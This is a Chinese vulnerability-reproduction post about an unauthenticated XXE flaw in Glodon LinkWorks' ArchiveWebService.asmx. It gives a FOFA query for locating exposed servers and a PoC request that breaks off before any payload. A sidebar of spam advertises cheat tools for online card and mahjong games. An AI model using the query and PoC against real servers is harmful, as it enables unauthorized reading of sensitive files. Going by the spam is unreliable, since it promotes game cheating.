广联达Linkworks ArchiveWebService XML实体注入漏洞复现
创始人
2025-01-07 20:36:42
0次

0x01 产品简介

广联达 LinkWorks（也称为 GlinkLink 或 GTP-LinkWorks）是广联达公司（Glodon）开发的一种BIM（建筑信息模型）协同平台。广联达是中国领先的数字建造技术提供商之一，专注于为建筑、工程和建筑设计行业提供数字化解决方案。

0x02 漏洞概述

广联达 LinkWorks /GB/LK/Document/ArchiveService/ArchiveWebService.asmx接口处存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。

0x03 复现环境

FOFA：

body="Services/Identification/login.ashx" || header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"

0x04 漏洞复现

PoC

POST /GB/LK/Document/ArchiveService/ArchiveWebService.asmx HTTP/1.1 Host:  Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://GB/LK/Document/ArchiveService/ArchiveWebServi

上一篇：中英双语介绍一级市场（Primary Market）和二级市场（Secondary Market）

下一篇：去中心化技术的变革力量：探索Web3的潜力

相关内容

热门资讯

推荐一下！青橙竞技卡五星辅助，... 推荐一下！青橙竞技卡五星辅助，新518互游脚本下载，好像是真的有挂（哔哩哔哩）青橙竞技卡五星辅助透视...
总结一下！老友广东麻将辅助，杭... 总结一下！老友广东麻将辅助，杭州都莱辅助，切实真的是有挂（哔哩哔哩）1、在老友广东麻将辅助插件功能辅...
解迷一下！创思维激k怎么开挂，... 解迷一下！创思维激k怎么开挂，创思维辅助软件，切实真的有挂（哔哩哔哩）1、创思维激k怎么开挂辅助器安...
辅助一下！微信微乐游戏辅助脚本... 辅助一下！微信微乐游戏辅助脚本，拱趴大菠萝有辅助吗，总是有挂（哔哩哔哩）辅助一下！微信微乐游戏辅助脚...
辅助一下！时光互娱房卡辅助，新... 辅助一下！时光互娱房卡辅助，新漫游免费辅助器，本来真的有挂（哔哩哔哩）1、让任何用户在无需时光互娱房...
关于一下！多乐跑得快私人房间作... 关于一下！多乐跑得快私人房间作弊视频，来来拼十辅助，都是真的有挂（哔哩哔哩）1、打开软件启动之后找到...
教你一下！卡五星游戏源码，决战... 教你一下！卡五星游戏源码，决战卡五星辅助器，其实是有挂（哔哩哔哩）1）决战卡五星辅助器辅助插件：进一...
普及一下！同乡游有辅助软件码，... 普及一下！同乡游有辅助软件码，老友广东辅助器，总是是有挂（哔哩哔哩）1、上手简单，内置详细流程视频教...
曝光一下！创思维激k有辅助器吗... 曝光一下！创思维激k有辅助器吗，hhpoker辅助是真的吗，好像存在有挂（哔哩哔哩）创思维激k有辅助...
总结一下！边锋干瞪眼小程序辅助... 总结一下！边锋干瞪眼小程序辅助，心悦踢辅助软件，真是存在有挂（哔哩哔哩）1、这是跨平台的边锋干瞪眼小...